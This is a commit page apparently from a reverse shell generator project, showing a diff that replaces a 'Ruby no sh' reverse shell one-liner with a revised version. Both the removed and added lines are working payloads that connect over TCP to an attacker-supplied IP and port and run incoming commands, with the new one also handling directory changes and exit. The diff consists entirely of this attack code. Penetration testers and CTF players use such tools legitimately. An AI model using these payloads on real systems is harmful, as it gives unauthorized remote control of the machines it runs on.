Merge pull request #36 from ricxpl/main

Improve Ruby Reverse Shell
This commit is contained in:
Ryan Montgomery 2021-04-02 11:17:14 -04:00 committed by GitHub
commit 7ae296ca51
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -195,7 +195,7 @@ const reverseShellCommands = withCommandType(
},
{
"name": "Ruby no sh",
"command": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
"command": "ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'",
"meta": ["linux", "mac"]
},
{